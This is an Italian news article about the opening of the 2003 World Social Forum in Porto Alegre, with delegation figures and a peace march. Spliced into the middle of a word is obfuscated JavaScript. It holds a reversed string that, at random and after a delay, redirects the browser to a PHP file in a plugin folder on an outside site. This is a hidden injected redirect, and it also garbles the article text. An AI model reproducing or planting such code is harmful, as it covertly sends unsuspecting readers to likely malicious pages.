WSF Porto Alegre 2003 – A PORTO ALEGRE VOLTI DA TUTTO IL MONDO PER COSTRUIRE IL FUTURO

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Il lillipuziano Gino Barsella, coordinatore della Campagna Sdebitarsi, ha aperto il World Social Forum di Porto Alegre insieme al presidente brasiliano Lula e ad altri protagonisti del movimento internazionale per una globalizzazione dal basso. Subito dopo la cerimonia inaugurale oltre 100.000 persone hanno sfilato per le strade della citta’ in una gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande manifestazione per la pace. I lavori del Forum, giunto alla sua terza edizione, prevedono la partecipazione di decine di migliaia di persone provenienti da tutto il pianeta per elaborare strategie comuni di resistenza all’attuale sistema economico ma soprattutto per costruire delle alternative.
La delegazione piu’ numerosa e’ ovviamente la brasiliana con 19.500 partecipanti, anche il Vaticano e’ presente con un delegato ufficiale mentre francesi, italiani e argentini si attestano sulle 800/1000 presenze a testa. Significativa la presenza di oltre 1100 statunitensi arrivati al World Social Forum per rappresentare il dissenso alla globalizzazione neoliberista ma soprattutto il loro no alla guerra irakena. I partecipanti che arrivano da piu’ lontano sono i 9 delegati delle Isole Fiji, i 4 del Togo e i 13 del Nepal.

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